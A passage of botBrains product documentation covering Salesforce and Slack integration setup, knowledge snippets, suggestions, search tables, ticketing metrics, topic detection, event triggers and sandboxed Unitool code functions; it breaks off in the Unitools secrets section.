`botBrains-bot@company.com`) and configure: * **User License**: `Salesforce Integration` * **Profile**: API-only minimum access profile (`Minimum Access - API Only Integration(s)`) Then assign: * **Permission Set License Assignment**: `Salesforce API Integration` * **Permission Set**: your `botBrains Integration` permission set ### 6. Create an External Client App Create the app in: `https://{org_id}.my.salesforce-setup.com/lightning/setup/ManageExternalClientApplication/create` Recommended settings: * **Name / API Name**: `botBrains` * **Contact Email**: `support@botbrains.io` * **OAuth Redirect URL**: `https://api.botbrains.io/v1/salesforce/oauth_redirect` (required, not used) OAuth scopes: | Permission | Reason | | ---------------------------------------------------------------- | ----------------------------- | | Manage user data via APIs (`api`) | API access | | Perform requests at any time (`refresh_token`, `offline_access`) | Long-lived integration access | | Access content resources (`content`) | Email attachment access | Enable client credentials: * **Enable Client Credentials Flow**: enabled * **Run As**: integration user email address After saving, copy: * **Consumer Key** * **Consumer Secret** ### 7. Enable Change Data Capture Open: `https://{org_id}.my.salesforce-setup.com/lightning/setup/CdcObjectEnablement/home` Enable CDC for: * `Case` * `EmailMessage` ## Connect Salesforce in botBrains Open your project integration page: `http://platform.botbrains.io/{project_id}/integrations?integration=salesforce` Use: * Salesforce URL: `https://{org_id}.my.salesforce.com/` * Consumer Key and Consumer Secret from the External Client App Important: use the `my.salesforce.com` domain for the integration URL, not the `my.salesforce-setup.com` URL. If you use thread association, ensure `ThreadingTokenApi` is available and enabled in your integration permissions. botBrains integrations page showing Salesforce integration form with fields for Salesforce URL, Consumer Key, and Consumer Secret, with a Connect button. ## Domain and `org_id` Examples Supported Salesforce domain examples: * `https://company.my.salesforce.com/` * `https://orgfarm-random_string-dev-ed.develop.my.salesforce.com/` In both cases, `org_id` is the subdomain before `.my.salesforce.com`. For production rollout decisions (mode selection, field updates, escalation model), coordinate with your botBrains contact. # Slack Integration Source: https://docs.botbrains.io/concepts/slack-integration Connect botBrains with your Slack workspace **Beta Feature**: The Slack integration is currently in beta. Some features may be unstable or subject to change. Connect botBrains to your Slack workspace to provide AI-powered support directly in your team's communication platform. Your AI agent responds to direct messages and channel mentions, using the same knowledge and behavior configured in your botBrains project. ## Value Proposition Bringing AI agents to Slack enhances team productivity and information access: * **Internal Knowledge Base**: Give employees instant access to company documentation and procedures * **IT Support Automation**: Handle common IT requests automatically within Slack * **Community Management**: Automate responses in public Slack communities * **onboarding Assistance**: Help new team members find information fast * **Reduce Interruptions**: Answer common questions automatically, freeing up experts * **Earn Time Back**: Employees spend [\~8 hours / week just searching internal information](https://www.mckinsey.com/industries/technology-media-and-telecommunications/our-insights/the-social-economy) ## Prerequisites Before setting up the Slack integration: * A botBrains project with configured knowledge and behavior * Slack workspace admin permissions (to install apps) * An active Slack workspace (free or paid tier) ## Setup Instructions ### Step 1: Navigate to Channels 1. Open your botBrains project 2. Go to **Channels** in the sidebar 3. Click on the **Slack** tab ### Step 2: Install the Bot 1. Click the **"Add to Slack"** button 2. A new window opens redirecting you to Slack's authorization page 3. Select the workspace where you want to install the bot (if you have multiple workspaces) 4. Review the permissions requested by the botBrains app 5. Click **Allow** to authorize the integration 6. The window closes and you return to botBrains If the authorization window doesn't open, check your browser's popup blocker settings. Channels page with Slack tab and Add to Slack button ### Step 3: Verify Installation After authorization: 1. The page refreshes automatically 2. The Slack integration appears in your Active Slack Integrations list 3. You'll see: * Team name and Team ID * Installation date * Bot icon placeholder (or default icon if already customized) ## Configuring Your Slack Bot ### Customize Bot Icon Make your agent recognizable in Slack: 1. Find your integration in the Active Slack Integrations list 2. Click the **Upload** icon button next to the bot image placeholder 3. Select a square image (PNG or JPEG) * Images must have equal width and height (square aspect ratio) * Images larger than 512x512 pixels will be automatically compressed * Supported formats: PNG, JPEG * Use your company logo or a custom agent avatar The bot icon appears in Slack's app directory and in conversations. Choose an image that clearly identifies your AI agent to team members. Active Slack Integrations list with upload icon button visible ### Bot Behavior The agent uses the same behavior and knowledge configured in your botBrains project: * **Behavior Settings**: Navigate to **Behavior** to adjust tone, instructions, and tools * **Knowledge Sources**: Manage in **Data Providers** and **Snippets** * **Escalation Rules**: Configure in **Escalations** Any changes to your project's configuration automatically apply to the Slack integration. ## Using the Bot in Slack Your AI agent responds to interactions in three types of Slack conversations: direct messages, public channels, and private channels. ### Direct Messages Users can have one-on-one conversations with the agent: 1. Find the bot in your Slack workspace's apps list 2. Click to open a direct message 3. Ask your questions 4. The agent responds using your configured knowledge Direct messages are ideal for personal queries or sensitive information. ### Public Channel Mentions The agent responds when mentioned in public channels: 1. Invite the agent to a channel: `/invite @YourBotName` 2. Mention the agent in a message: `@YourBotName how do I reset my password?` 3. The agent responds in the channel **Use Threads**: Encourage users to mention the agent in threads to keep channels organized. The agent will continue the conversation within the thread context. ### Private Channels The agent works the same way in private channels as in public channels: 1. Invite the agent to the private channel 2. Mention the agent with `@YourBotName` 3. The agent responds to the team members in that private channel This is useful for team-specific knowledge or internal discussions. ## Common Use Cases Deploy the agent for employee IT requests: * Password resets * Software installation guides * Troubleshooting common issues * Access request procedures Configure your knowledge sources with IT documentation and common solutions. Help new employees get up to speed: * Company policies and benefits * How-to internal processes * Team structure and contacts * Common procedures Support engineering teams: * API documentation lookup * Code examples and snippets * Architecture decisions * Deployment procedures Manage Slack communities: * Answer common questions automatically * Guide users to resources * Moderate discussions * Track popular topics ## Managing the Integration ### View Active Integrations All connected Slack workspaces appear in the Active Slack Integrations list, showing: * Team name and ID * Installation date * Current bot icon You can install the agent in multiple Slack workspaces for the same project. ### Update Bot Icon To change your agent's appearance: 1. Locate your integration in the Active Slack Integrations list 2. Click the upload icon button 3. Select a new square image (PNG or JPEG) 4. The icon updates immediately ### Monitor Usage Track how your team uses the agent: 1. Navigate to **Conversations** in botBrains 2. Filter by channel to see Slack conversations 3. Each conversation shows: * Workspace name * Channel type (Direct Message, Public Channel, or Private Channel) * Channel name (for channel conversations) * Direct links to view in Slack 4. Review questions and responses 5. Identify knowledge gaps Conversations view filtered to show Slack conversations with example messages ### Update Bot Behavior Improve responses over time: 1. Review conversation history in the Conversations view 2. Add missing knowledge to Data Providers 3. Refine instructions in Behavior 4. Test changes in a private Slack channel first Changes to your project configuration apply immediately to all Slack integrations. ## How It Works The Slack integration connects your botBrains project to Slack using OAuth authentication: 1. **OAuth Installation**: When you click "Add to Slack," you authorize botBrains to access your workspace 2. **Event Handling**: The integration receives events when users mention the agent or send direct messages 3. **Context Preservation**: Conversations maintain thread context, allowing multi-turn interactions 4. **Project Configuration**: The agent uses your project's profiles, knowledge sources, and escalation rules 5. **Conversation Tracking**: The system logs all interactions in the Conversations view with metadata (channel type, workspace, links to Slack) The agent responds to: * Direct messages (DMs) from any user in the workspace * Mentions (`@YourBotName`) in public channels where someone has invited the agent * Mentions in private channels where someone has invited the agent ## Beta Limitations As a beta feature, please note: * **No self-service uninstall**: To remove a Slack integration, contact [support@botbrains.io](mailto:support@botbrains.io) * **Limited configuration options**: We plan to add additional settings and customization options * Features and functionality may change based on feedback We're actively developing the Slack integration. Your feedback helps us improve! ## Frequently Asked Questions If the agent doesn't respond: 1. **Check Installation**: Verify the integration appears in your Active Slack Integrations list 2. **Invite Bot**: For channels, make sure the agent is invited (`/invite @YourBotName`) 3. **Check Mentions**: In channels, the agent only responds when explicitly mentioned with `@YourBotName` 4. **Bot Permissions**: Ensure the agent has permission to read and write in the channel 5. **Project Status**: Verify your botBrains project has active knowledge sources configured If responses are inaccurate: 1. **Review Knowledge**: Check that your Data Providers are up to date 2. **Refine Behavior**: Adjust instructions in Behavior → Guidance 3. **Test in botBrains**: Use the conversation interface to test responses before deploying 4. **Add Context**: Provide more specific documentation for common questions 5. **Review Conversations**: Check the Conversations view to see what the agent is receiving and responding If you can't authorize the integration: 1. **Workspace Permissions**: Confirm you have admin rights in your Slack workspace 2. **App Approvals**: Check if your workspace requires app approval from an admin 3. **Browser Issues**: Try a different browser or clear your cache 4. **Popup Blockers**: Ensure popups are allowed for the botBrains platform 5. **Contact Support**: Reach out to [support@botbrains.io](mailto:support@botbrains.io) for assistance ## Best Practices **Dedicated Test Channel**: Create a private Slack channel for testing agent responses before rolling out to your entire team. Invite the agent and experiment with different questions. **Clear Bot Name**: Use a clear, descriptive name so team members know it's an AI agent. The name is configured in your Slack app settings, not in botBrains. **Set Expectations**: Post a pinned message in channels explaining what the agent can help with and when to escalate to humans. Include examples of good questions. **Monitor Conversations**: Regularly review conversations in the botBrains Conversations view to identify knowledge gaps and improve responses. **Sensitive Information**: Be cautious about what knowledge you expose in public or shared Slack channels. Configure audience rules to limit information based on channel type if needed. ## Providing Feedback Since this is a beta feature, we value your input: * Report bugs or issues to [support@botbrains.io](mailto:support@botbrains.io) * Suggest features you'd like to see * Share your use cases and success stories Your feedback helps shape the future of the Slack integration! ## Next Steps After setting up Slack integration: * [Configure Escalations](/concepts/escalations) - Set up human handoff for complex questions * [Monitor Conversations](/concepts/conversations) - Review agent interactions * [Analyze Topics](/concepts/topics) - Discover what your team asks about most * [Add Knowledge](/concepts/data-providers) - Expand your agent's capabilities ## Support Questions about the Slack integration? * Email: [support@botbrains.io](mailto:support@botbrains.io) * Documentation: Browse our guides * Community: Join our Slack community (coming soon!) # Snippets Source: https://docs.botbrains.io/concepts/snippets Create and curate knowledge with manual snippets Snippets are manually created pieces of knowledge that you add directly to your AI agent's knowledge base. They give you complete control over specific information your AI uses to answer questions. ## When to Use Snippets Use snippets to: * **Fill knowledge gaps** - Add information missing from your documentation * **Control messaging** - Ensure your AI uses specific, approved language for policies or procedures * **Capture verified answers** - Save good responses from real conversations * **Provide quick updates** - Make changes that take effect immediately Save verified answers from conversations as snippets using the "Improve Answer" button. This builds your knowledge base from real customer interactions. ## How They Work You store snippets in human data providers alongside other knowledge sources. When a customer asks a question, your AI searches all sources-including snippets-to find relevant information. Each snippet has a name, rich text content, and is automatically indexed for semantic search. List of snippets in a human data provider showing snippet names and content preview ## Creating Snippets **From a data provider:** 1. Navigate to Data Providers and select a human data provider 2. Click New Snippet 3. Enter a descriptive name and add your content 4. Click Save **From a conversation:** 1. Click the "Improve Answer" button during a conversation 2. Click Add to Knowledge 3. Edit if needed and select a data provider 4. Click Save Changes are available immediately. New snippet creation dialog with name and content fields in a data provider ## Best Practices **Keep snippets focused** * Cover one topic or question per snippet * Keep content concise (200-500 words) * Include enough context for the AI to understand when to use it **Use clear naming** * Good: "How to request a refund after canceling a subscription" * Avoid: "Policy #3" or generic labels **Write for your AI** * Start with the most important information * Use clear, direct language * Include specific conditions or limitations * Make snippets self-contained with complete information **Organize by collection** Create separate human data providers for different categories like Product Knowledge, Policies, or Support FAQs. ## Formatting Support The rich text editor supports bold, italic, headings, lists, links, and code blocks. You can also upload Markdown files (.md) which are automatically converted to HTML when edited. Deleted snippets cannot be recovered. Download important snippets as HTML files before deletion if you need a backup. # Suggestions Source: https://docs.botbrains.io/concepts/suggestions Automatically surface unanswered questions and learn from human agent responses. Suggestions analyze your conversations and surface questions your AI agent failed to answer. The system clusters similar questions together, matches them against your existing knowledge sources, and categorizes each cluster so you know exactly what to fix. Open [Suggestions](https://platform.botbrains.io/~/suggestions) to see your pending clusters. Suggestions list showing multiple clusters with issue types and conversation counts ## How it works 1. **Extraction.** The system scans conversations from the last 90 days and identifies questions that the AI couldn't answer or answered incorrectly. 2. **Clustering.** Similar questions get grouped together. Each cluster shows a canonical question, the number of occurrences, and how many conversations it affected. 3. **Categorization.** Each cluster receives an issue type that tells you what kind of fix it needs: | Issue type | Meaning | What to do | | ------------------------- | ------------------------------------------------------- | -------------------------------------------------------------------------------------------- | | Missing content | Your knowledge base lacks the answer | Add a [Snippet](/concepts/snippets), document, or [Search Table](/concepts/tables) | | Can't read customer data | The AI needs to look up data in an external system | Add a [Toolbox, MCP Server, or Unitool](/concepts/actions#connecting-to-third-party-systems) | | Can't write customer data | The AI needs to perform an action in an external system | Add a [Toolbox, MCP Server, or Unitool](/concepts/actions#connecting-to-third-party-systems) | 4. **Knowledge matching.** The system checks whether your existing knowledge sources already contain a relevant answer and flags the match quality: identical, partial, or unrelated. ## Learning from human agents In ticketing channels (Zendesk, Salesforce), human agents often resolve the same questions your AI couldn't answer. Suggestions captures these human-provided answers and includes them in the cluster. This means you can see both what the customer asked and how your team answered it, giving you a ready-made answer to add to your knowledge base. ## FAQ Yes. When human agents answer questions in your ticketing system, Suggestions captures those answers and surfaces them alongside the original questions. You can then add these answers as [Snippets](/concepts/snippets) or documentation sources so the AI handles similar questions autonomously in the future. The AI doesn't learn automatically from tickets. You review the suggestions and decide what to add to the knowledge base. Suggestions analyze conversations from the last 90 days by default. The system processes new conversations and updates suggestions every 6 hours. # Tables Source: https://docs.botbrains.io/concepts/tables Use search tables for structured knowledge retrieval Search tables let your AI query structured datasets. Unlike text-based knowledge that returns paragraphs, tables return specific records matching multiple criteria, for example products by category and price range, or customers by location and status. ## Creating a Table 1. Navigate to **Tables** and click **Create Table** 2. Import your data as CSV, JSONL, or JSON 3. Configure field types and search types for each column 4. Click **Verify data** to validate | Import format | Best for | | ------------- | ------------------------------------------------------------------------- | | CSV | Spreadsheet exports. First row must contain headers | | JSONL | Database exports. One JSON object per line, preserves data types | | JSON | Complete table definitions. Format: `{"objects": [...], "fields": [...]}` | Table creation interface showing import format selection and field configuration ## Field Types | Type | Examples | | -------- | ------------------------------------- | | Text | Names, descriptions, IDs | | Number | Prices, quantities, scores | | Date | Date only (2024-01-15) | | datetime | Date and time with timezone | | boolean | True/false values | | JSON | Nested objects | | Vector | Embedding vectors for semantic search | | Array | Lists of values | ## Search Types Search types control how the AI can filter each field. Fields set to "Same as data type" are display-only (no filtering). | Field type | Available search types | | ------------------- | ----------------------------------------------------------------------------------------------------------------------------------- | | Text | Search text (full-text with partial matching), Select (single value, max 500 unique), multiselect (multiple values, max 500 unique) | | Number | Range filter (min/max) | | Date/datetime | datetime filter (date range) | | boolean | Toggle (true/false filter) | | JSON, Vector, Array | Display only | Select and multiselect only work when a field has 500 or fewer unique values. Sorting isn't supported yet. The AI can filter records but can't order results by a specific field. ## Attaching Tables to AI Configure your table as a tool so the AI can search it: 1. Go to **Behavior → Tools → Search Tables** 2. Click **Add Search Table** 3. Set a **Tool Name** (for example, `search_products`) 4. Write a **Tool Description** explaining what data the table contains and when to search it 5. Select your table and save The AI generates search parameters from natural language questions automatically. Write clear tool descriptions so the AI knows when to use the table versus other knowledge sources. Remember to [enable the tool](/guides/instruct-ai-agent#tools) on the relevant guidance rules. Search Tables tool configuration interface in Behavior settings ## Updating Data Importing a file replaces all existing data. To preserve your field configuration when updating: 1. Export your table as JSON 2. Update the `objects` array with new data 3. Re-import the JSON file 4. Verify data and [rebuild](/concepts/versioning) # Ticketing Performance Source: https://docs.botbrains.io/concepts/ticketing-performance Measure AI involvement and autonomous resolution in Zendesk and Salesforce ticketing workflows The **Ticketing** view on your [metrics dashboard](https://platform.botbrains.io/~/metrics) covers ticketing channels-Zendesk and Salesforce. Unlike chat, ticketing workflows expect human-AI collaboration. Use the channel filter to compare Zendesk and Salesforce performance, and the label filter to segment by customer tier or product area. ## Why Involvement Rate, Not Resolution Rate In chat, the AI either resolves a conversation or it doesn't-Resolution Rate captures this cleanly. In ticketing, human finishing is a normal, valuable outcome. A ticket where the AI drafts a response and a human sends it still saved significant agent time, but Resolution Rate counts this as a failure of autonomy. Every ticket falls into one of two buckets: **involved** (the AI participated) or **not involved** (the AI didn't participate). Within involved tickets, three levels describe *how* the AI participated: | Level | What happens | Customer sees AI? | | -------------- | ------------------------------------------------------------------------------------ | ----------------- | | **Autonomous** | The AI handled the entire ticket without any human intervention | Yes | | **Public** | The AI generated customer-visible responses, then a human also participated | Yes | | **Private** | The AI suggested responses internally, but a human sent all customer-facing messages | No | ```mermaid theme={null} graph TD A[All Tickets] --> B[Involved] A --> C[Not Involved] B --> D[Autonomous] B --> E[Public] B --> F[Private] style A fill:#f5f5f5 style B fill:#e1f5ff style C fill:#f5f5f5 style D fill:#e8f5e9 style E fill:#e1f5ff style F fill:#f3e5f5 ``` **Involvement Rate** counts all three levels together-it tells you what share of tickets the AI touches at all. **Relative Autonomous Rate** narrows the lens to just involved tickets and measures how many the AI handled fully on its own. Together they answer: "Does the AI participate?" and "When it does, how often does it resolve tickets without help?" ## Single metrics | Card | Description | Interpretation | | ------------------------ | ------------------------------------------------------------------------------------------ | -------------------------------------------------------------------- | | Involvement Rate | Percentage of tickets where the AI participated (autonomous, public, or private) | 80%+ means the AI assists with most tickets | | Involved Tickets | Absolute count of tickets with AI participation, with trend comparison | Multiply by average handling time to estimate agent hours saved | | Relative Autonomous Rate | Percentage of AI-involved tickets handled fully autonomously (excludes human-only tickets) | 60%+ indicates strong autonomous performance among involved tickets | | Better Monday Score | Percentage of weekend tickets where the AI provided at least one customer-visible response | 70%+ means strong weekend coverage, reducing Monday morning backlogs | Ticketing metrics dashboard showing Involvement Rate, Involved Tickets, Relative Autonomous Rate, and Better Monday Score cards High involvement + low autonomy means the AI engages frequently but needs human finishing-focus on knowledge gaps. Low involvement + high autonomy means the AI is effective but underutilized-expand coverage to more ticket types. **Autonomous Rate is provisional until a ticket closes.** A ticket counts as autonomous only while no human agent has sent a message on it. botBrains recomputes involvement on every reply, so it reclassifies the ticket the moment an agent steps in-a ticket that looks autonomous today becomes public tomorrow when a customer replies and an agent finishes the thread. Because recent windows contain many still-open tickets, their Relative Autonomous Rate starts high and settles downward as those tickets close. Read autonomous performance on windows that have had time to mature (last 30 days rather than today), and expect the most recent days to firm up over time. ## Charts and Use Cases | Chart | Use case | | -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Involvement Flow (Sankey) | Identify optimization paths. A wide **autonomous → escalated** flow reveals knowledge gaps to fix. Maximize the **autonomous → resolved** flow. A large **not involved** column means tickets the AI could handle. | | AI Involvement vs. Success | Compare resolution rates across involvement types. If autonomous and public resolution rates are similar, humans aren't adding much-expand autonomous handling. High escalation in autonomous tickets means the AI correctly recognizes its limits but needs better knowledge. | | Involvement Rate Over Time | Track adoption. Growing autonomous (green) and shrinking not-involved (gray) sections indicate improving coverage and knowledge. | | Involvement Rate Evolution | Spot inflection points. Autonomous rising while public falls means the AI takes over tickets that previously needed human finishing. A plateau in the autonomous line signals you've hit current knowledge limits. | Involvement Flow Sankey diagram showing ticket distribution across involved and not-involved categories, with flows to autonomous, public, private, resolved, and escalated outcomes ## Identifying Issues **Convert public involvement to autonomous.** Filter the Sankey diagram to public → resolved. Review what information humans added that the AI lacked. Extract those patterns into your knowledge base. Monitor whether those ticket types shift to autonomous → resolved. **Reduce Monday backlog.** Check the Better Monday Score. If it's below 50%, filter to unanswered weekend tickets and review them by topic. Add knowledge for the most common weekend inquiry types and consider less aggressive escalation rules outside business hours. **Find topics the AI can't handle alone.** Filter the Sankey to autonomous → escalated and group by topic on the [topics dashboard](https://platform.botbrains.io/~/topics). Decide for each topic: add knowledge (if information gap), create specific escalation rules (if legitimately complex), or improve guidance (if judgment issue). **Measure ROI.** Multiply the Involved Tickets count by your average ticket handling time to estimate agent hours saved. For a more precise calculation, use the Relative Autonomous Rate to isolate tickets that needed zero human time. Don't optimize Involvement Rate or Better Monday Score at the expense of answer quality. A high score with poor responses frustrates customers. Monitor CSAT alongside automation metrics. ## Next Steps * [Metrics](/concepts/metrics) - Return to the dashboard overview and cross-channel comparison * [Conversations](/concepts/conversations) - Drill into individual tickets to understand metric patterns * [Topics](/concepts/topics) - Segment ticket performance by topic * [Improve Answers](/guides/improve-answers) - Use ticket insights to refine knowledge * [Data Providers](/concepts/data-providers) - Add knowledge to increase autonomous resolution # Topics Source: https://docs.botbrains.io/concepts/topics Automatically discover and analyze what your customers are talking about with AI-powered topic detection Topics help you understand what your customers are actually talking about. Instead of manually categorizing conversations, botBrains uses AI to automatically cluster similar conversations together, revealing patterns in customer needs, pain points, and requests. ## How TopicAI Works TopicAI automatically analyzes your conversations and groups them into meaningful categories on a recurring schedule: * **Nightly categorization.** Every night, TopicAI assigns the most relevant topics to all conversations based on semantic similarity. * **Weekly discovery.** Every Monday morning, TopicAI scans recent conversations to detect emerging patterns and creates new topic categories. * **Topic finalization.** Conversations older than the most recent Monday have stable topic assignments, while recent conversations may be recategorized as the model improves. Each topic has a **title**, a **description**, a **conversation count**, and a **trend indicator** (new, growing, declining, stable, or inactive). ## Activating Topics Open the [topics page](https://platform.botbrains.io/~/topics) and request TopicAI activation. Once activated, choose how to guide the analysis: | Option | When to use | | ------------------------------------------ | -------------------------------------------------------------------------- | | **Industry template** (E-Commerce or SaaS) | You want 15–25 common topics as a starting point | | **Custom seed topics** | You want to control granularity with 5–15 topics specific to your business | | **Fully automatic** | Your business model doesn't fit templates and you have 50+ conversations | Seed topics don't constrain what the system can detect. They guide how specific or broad the categories should be. The system discovers additional topics automatically over time. Initial topic detection takes a few minutes. The model stabilizes over 1–2 weeks as it processes more conversations. ## Using the Topics Dashboard The [topics dashboard](https://platform.botbrains.io/~/topics) helps you answer specific questions about your AI's performance by topic. Use the date range, channel, and label filters at the top to narrow the analysis. Topics dashboard showing Resolution treemap, Resolution Sankey, Trend Chart, and Involvement Sankey visualizations ### Find topics that need attention first The **Resolution treemap** gives you an at-a-glance priority map. Rectangle size indicates conversation volume, color indicates resolution rate (green = high, red = low). Start with large red boxes. They represent high-volume topics where the AI struggles most. ### See where conversations go wrong The **Resolution Sankey** connects each topic to its resolution outcomes (resolved, escalated, unresolved). Look for wide flows into "escalated" or "unresolved" to find topics that need better knowledge or escalation rules. ### Track how your topic mix changes over time The **Trend Chart** combines a donut chart (overall distribution) with a weekly bar chart (volume over time). Toggle between absolute numbers and relative percentages to spot shifts in topic mix or emerging trends. ### Find topics the AI doesn't handle autonomously The **Involvement Sankey** maps topics to AI involvement levels (autonomous, public, private, not involved). Topics with low autonomy are candidates for better knowledge or guidance. ### Browsing all topics The **Topic Table** lists every topic with its conversation count, percentage share, and trend badge. Click the arrow icon to view a topic's conversations. Click the pencil icon to edit a topic's title or description. Topic Table showing topics with conversation counts, percentage share, and trend badges | Trend badge | Meaning | | --------------- | --------------------------------- | | New (purple) | Detected in the past 7 days | | Growing (green) | Volume increased by more than 5% | | Declining (red) | Volume decreased by more than 5% | | Stable (gray) | Volume changed by less than 5% | | Inactive (gray) | No conversations in recent period | ## Managing Topics Click **Create Topic** in the topic table to add a new topic with a title and description. Edit any existing topic by clicking the pencil icon. The system applies changes during the next nightly categorization run, or you can use **Categorize Now** to run it immediately. Use **Find New Topics** to trigger topic discovery on demand instead of waiting for the weekly Monday run. Topic edit modal showing title and description fields To start over, click **Delete Topics** to remove all topic assignments. Use this when your business model has changed significantly or the initial seed topics were a poor fit. ## Next Steps * [Metrics](/concepts/metrics) - Analyze CSAT and resolution rates segmented by topic * [Data Providers](/concepts/data-providers) - Fill knowledge gaps identified through topic analysis * [Labels](/concepts/labels) - Combine manual labels with automatic topics * [Improve Answers](/guides/improve-answers) - Use topic insights to refine your AI's responses # Triggers Source: https://docs.botbrains.io/concepts/triggers Automate security, moderation, and routing with event-based triggers Triggers execute actions immediately and deterministically when conversation events match rules you define. Use them to block spam, label conversations, and enforce business policies - all before the AI processes the message. ## How Triggers Work Triggers follow an if-then model: **when** an event occurs and an **audience** matches, **then** execute one or more actions. 1. **Event occurs** - a user sends a message (currently the only supported event) 2. **Audience evaluation** - the trigger checks if the conversation, user, and message match your criteria 3. **Action execution** - if the audience matches, all configured actions run immediately 4. **Conversation proceeds** - if not blocked, the conversation continues to AI processing Trigger creation form showing When section with audience criteria builder and Then section with actions All matching triggers execute in priority order (top to bottom). Triggers do not stop processing when one matches. ## Audience Criteria Audiences determine which conversations match your trigger. Build rules using the visual query builder with AND/OR logic and NOT toggles. **Available fields:** | Category | Fields | | -------------------- | -------------------------------------------------------------------- | | User attributes | Email, phone, timezone, labels, external IDs, platform-specific IDs | | Channel properties | Channel type (Browser, WhatsApp, Zendesk, Slack), subdomain, team ID | | Conversation context | Message count, created date, labels, external IDs | | Time conditions | Current date/time, hour, day of week, timezone | **Examples:** ``` Block email domain: user.email ends with "@marketplace.example.com" After-hours labeling: current_hour < 9 OR current_hour >= 17 VIP on specific channel: user.labels contains "vip" AND channel.type is "Zendesk" ``` Audience definitions use the same field structure as [Audiences](/concepts/audiences), but evaluate in real-time as messages arrive rather than as stored segments. ## Actions When a trigger's audience matches, it executes one or more actions in sequence. | Action | Description | Entity types | | ------------------ | ------------------------------------------------------------------------------------------------------------------------- | --------------------------- | | **Block** | Prevents the conversation from continuing. No AI response is generated, the user receives no notification (silent block). | Conversation | | **Assign Label** | Adds a label to the entity. Labels appear in conversation lists, analytics, and can be used by other triggers. | Conversation, User, Message | | **Unassign Label** | Removes a label from the entity. No error if the label doesn't exist. | Conversation, User, Message | You can combine multiple actions in a single trigger. Place label actions before block actions to ensure labels apply even when the conversation is blocked. Blocking is permanent and silent. Use it only for clear policy violations, not borderline cases. For uncertain situations, assign a review label instead. ## Creating a Trigger Open your [trigger settings](https://platform.botbrains.io/~/settings/triggers) to get started. You can use a **quick-start template** (Block Spam Users, Block Marketplace Emails, Label Non-Europe Timezone) or create a custom trigger: Click **New Trigger**, enter a descriptive name (for example "Block marketplace notifications") Select the event (User Message Received) and define audience criteria using the query builder Add one or more actions (Block, Assign Label, Unassign Label) and arrange them in execution order Toggle "Active" to enable, then click **Create Trigger** Create triggers in a disabled state first. Use label actions (not block) to verify your audience criteria matches correctly, then switch to blocking once you're confident. ## Managing Triggers The [trigger list](https://platform.botbrains.io/~/settings/triggers) shows each trigger's name, event, action types, and enabled status. From there you can: * **Enable / disable** a trigger with the toggle switch - disabled triggers are ignored entirely * **Edit** a trigger by clicking its row - changes take effect immediately * **Delete** a trigger with the trash icon - deletion is permanent, previously blocked/labeled conversations are unaffected * **Reorder** by deleting and recreating in the desired sequence (priority runs top to bottom) Trigger management list showing multiple triggers with enabled and disabled states, action type badges, and control buttons ## Next Steps * [Audiences](/concepts/audiences) - Build audience segments used in triggers * [Actions](/concepts/actions) - Configure AI-powered actions (vs. deterministic triggers) * [Labels](/concepts/labels) - Organize and filter conversations with custom labels * [Roles and Permissions](/concepts/roles-permissions) - Control who can create and manage triggers # Unitools Source: https://docs.botbrains.io/concepts/unitools Execute custom Python or Shell code in a secure sandbox to extend your AI agent's capabilities. Unitool editor showing Definition panel with function name, description, input fields, and secrets on the left, and a Shell code editor with comments explaining environment variables, output, and execution on the right Unitools are code functions (Python or Shell) that you write ahead of time. During a conversation, the AI agent decides when to call a Unitool and provides the input values, but the code itself stays fixed. You control what runs; the AI controls when and with what data. Use Unitools to query databases, call APIs, process data, or run any custom logic in a secure, isolated environment. ## How it works When you create a Unitool, you define: 1. **Input fields**\ Parameters the AI agent collects from the conversation 2. **Code**\ Python or Shell script that processes the inputs 3. **Secrets**\ Environment variables for credentials (API keys, database URLs) During a conversation, when the AI agent determines your Unitool is relevant, it: 1. Extracts the required field values from the conversation context 2. Executes your code in an isolated sandbox 3. Returns the result to continue the conversation Unitool creation interface showing input fields panel, code editor with Python runtime selected, and secrets section ## Runtimes ```python Python theme={null} def handle(fields): order_id = fields.get("order_id") # Your logic here result = lookup_order(order_id) # Return JSON-serializable data return {"status": result.status, "tracking": result.tracking_url} ``` ```bash Shell theme={null} # Access input fields order_id=$(field '.order_id') # Make API calls, run commands curl -s "https://api.example.com/orders/$order_id" > $OUTPUT ``` **Python** scripts define a `handle(fields)` function that receives input values and returns a result. Use `print()` for debugging-output appears in the Logs tab. **Shell** scripts receive inputs via the `field` command. Write your result to `$OUTPUT`. The complete input JSON is available in `$INPUT`. ### Pre-installed Python packages | Category | Packages | | ----------------------- | -------------------------------------------------------- | | Web & parsing | requests, httpx, beautifulsoup4, lxml, pydantic | | Data & statistics | pandas, numpy, scipy, statsmodels, python-dateutil | | Visualization | matplotlib, seaborn | | Databases | sqlalchemy, psycopg2-binary, pymysql, redis, mongoengine | | Formats & serialization | protobuf, msgpack, pyyaml, marshmallow | | Cloud & APIs | boto3, openai | | Authentication | msal (Microsoft Authentication Library) | | Security | cryptography | | Helpers | jq (Python bindings for JSON processing) | You can install additional Python packages using [`uv`](https://docs.astral.sh/uv/) (`uv pip install `), but this increases runtime latency since packages are installed on every execution. ### Shell tools Shell scripts run in `bash` with the following CLI tools available: `curl`, `jq`, `python`, and `uv`. ### Execution environment Your code runs in an isolated Linux VM. Each execution gets a fresh environment-installed packages don't persist between runs. Machine specifications are subject to change as we optimize the platform. **Limitation:** File uploads are not yet supported. Documents uploaded by users in conversations cannot be passed to Unitools. | Resource | Limit | | ----------- | -------------------- | | CPU | 1 core | | Memory | 6 GB RAM | | Disk | 12 GB | | Timeout | 30 seconds | | Result size | 200 KB | | Log size | 5 MB | | Internet | Yes, outbound access | ## Input fields Fields define the parameters your Unitool accepts. The AI agent automatically extracts these values from the conversation. ### Field types | Type | Description | Example | | ----------- | ---------------------- | ------------------------------------------- | | Text | Plain string | Names, IDs, queries | | Number | Numeric value | Quantities, prices | | boolean | True/false | Flags, toggles | | Email | Validated email format | [user@example.com](mailto:user@example.com) | | URL | Validated web address | [https://example.com](https://example.com) | | Date | Date value | 2024-01-15 | | Date & Time | Date with time | 2024-01-15T14:30:00 | | Enum | Fixed set of options | "pending," "shipped," "delivered" | | Lists | Arrays of values | Multiple IDs, tags | ### Required vs optional Mark fields as **required** when the Unitool can't function without them. Optional fields have sensible defaults in your code: ```python Python theme={null} def handle(fields): # Required field - always present user_email = fields["email"] # Optional field - provide default limit = fields.get("limit", 10) ``` ```bash Shell theme={null} # Required field email=$(field '.email') # Optional field with default limit=$(field '.limit // 10') ``` ## Secrets Store sensitive credentials as secrets rather than hardcoding them. Secrets are: * Encrypted at rest * Injected as environment variables at runtime * Never exposed in logs or results ```python Python theme={null} import os 